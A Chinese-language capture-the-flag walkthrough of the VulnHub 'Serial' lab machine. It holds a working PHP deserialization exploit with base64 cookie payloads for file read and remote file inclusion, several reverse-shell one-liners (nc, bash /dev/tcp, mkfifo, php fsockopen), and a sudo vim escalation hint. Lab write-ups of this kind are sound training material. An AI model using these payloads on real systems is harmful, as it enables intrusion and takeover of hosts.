环境搭建
下载
https://download.vulnhub.com/serial/serial.zip
你会得到一个这样的文件,这里使用VMware新建一个虚拟机,这里记录比较重要的几部分。
这里就是使用我们刚才下过来的。
漏洞过程详解
1.信息收集
netdiscover -i eth0 -r 10.140.98.0/24
nmap通常我喜欢使用sS参数,它相对其他参数扫描速度更快且更加隐蔽,而且不会扫崩一些端口,有80端口访问网页看一下。
这里访问已经提示了cookie,这里查看cookie看一下。
F12拦包,这里查看一下,请求头中的cookie,有user这个参数,首先这个名字就有点问题了吧,哈哈哈,接下来就是看内容,大写字母小写字母数字最后一个%3D明显就是等号,这里就可以大胆猜测这是base64编码后的一串字符串。
这里解出来很明显就是一串PHP序列化字符串,那肯定是有文件让你分析的,这里找找没有找到,准备爆破目录。
2.爆破目录
这里使用dirsearch爆破目录,这里访问/backup
这里我们得到了,三个文件这里分析一下。
3.文件分析
这里我们看这三个文件
index.php
<?php
include("user.class.php");
if(!isset($_COOKIE['user'])) {
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
unserialize(base64_decode($_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>
user.classs.php
<?php
include("log.class.php");
class Welcome {
public function handler($val) {
echo "Hello " . $val;
}
}
class User {
private $name;
private $wel;
function __construct($name) {
$this->name = $name;
$this->wel = new Welcome();
}
function __destruct() {
//echo "bye\n";
$this->wel->handler($this->name);
}
}
?>
log.class.php
<?php
class Log {
private $type_log;
function __costruct($hnd) {
$this->$type_log = $hnd;
}
public function handler($val) {
include($this->type_log);
echo "LOG: " . $val;
}
}
?>
这里分析一下index.php通过cookie会base64解密一次然后进行反序列化,然后 user.classs.php,这里看到他include("log.class.php");。
这里先观察 log.class.php,这里发现了include这个可以这个好,而且可以我们自己定义他读取文件或者远程命令执行。
查看他这是定义了一个handler方法,看看那里定义这个方法, user.classs.php中有$this->wel->handler($this->name);,这里修改__construct魔术方法中的$this->wel = new Welcome();为$this->wel = new Log();就可以了。
exp
log.class.php
<?php
class Log
{
private $type_log="/etc/passwd";
public function __costruct($hnd)
{
$this->$type_log = $hnd;
}
public function handler($val)
{
include($this->type_log);
echo "LOG: " . $val;
}
}
user.class.php
<?php
include("log.class.php");
class Welcome
{
public function handler($val)
{
echo "Hello " . $val;
}
}
class User
{
private $name;
private $wel;
public function __construct($name)
{
$this->name = $name;
$this->wel = new Log();
}
public function __destruct()
{
//echo "bye\n";
$this->wel->handler($this->name);
}
}
$a = new User('adsf', 'asfd');
$b = urlencode(serialize($a));
$c = str_replace('%00', '%5Cx00', $b);
echo urldecode($c)."\n";
这里得到
O:4:"User":2:{s:10:"\x00User\x00name";s:4:"adsf";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:11:"/etc/passwd";}}
这里选择在线网站加密,发现修改cookie以后,并没有没有回显这里解密一下看看。
发现其实这里并没有被解析,这里是因为 private私有的缘故,会有不可见字符,这里用\x00替换了,但是发现这里并没有被解析,感觉是网站加密有问题,这里直接使用python来加密。
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxMToiL2V0Yy9wYXNzd2QiO319
这里再重新解密,发现这里解析了。
cookie传
payload:user=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxMToiL2V0Yy9wYXNzd2QiO319
使用hacker就可以
既然测试可以,这里就尝试远程包含,这里在本地搭建一个网站,在网站根目录下面写一个shell.txt,这里我原本使用的shell.php但是没有成功,之后想想应该是他远程包含,访问这个站但是php是后端语言所以前端是没有的,但是有的人疑惑为什么txt会可以,因为include是按php执行的。
O:4:"User":2:{s:10:"\x00User\x00name";s:4:"adsf";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:30:"http://10.140.98.245/shell.txt";}}
payload:user=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czozMDoiaHR0cDovLzEwLjE0MC45OC4yNDUvc2hlbGwudHh0Ijt9fQ==
4.反弹shell
这里我们尝试反弹shell,这里尝试了。
nc 10.140.98.245 4444 -e /bin/bash
bash -i >& /dev/tcp/10.140.98.245/4444 0>&1
/bin/sh 0</tmp/backpipe | 10.140.98.245 4444 1>/tmp/backpipe
mknod backpipe p && telnet 10.140.98.245 4444 0<backpipe | /bin/bash 1>backpipe
上面都不行,下面这个可以。
php -r '$sock=fsockopen("10.140.98.245",4444);exec("/bin/bash -i <&3 >&3 2>&3");' url编码一下 php%20-r%20%27%24sock%3Dfsockopen%28%2210.140.98.245%22%2C4444%29%3Bexec%28%22/bin/bash%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.140.98.245 4444 >/tmp/f url编码一下 rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/bash%20-i%202%3E%261%7Cnc%2010.140.98.245%204444%20%3E/tmp/f
whoami看一下,额是一个低权限用户。。
在根目录发现一个文件credentials.txt.bak
通常我们都对bak这种后缀的比较敏感,这种通常都是一些备份文件。
这里我们得到了sk4用户这个密码。
还是没有权限。
这里sudo -l发现一个好东西 NOPASSWD: /usr/bin/vim
这里输入命令sudo vim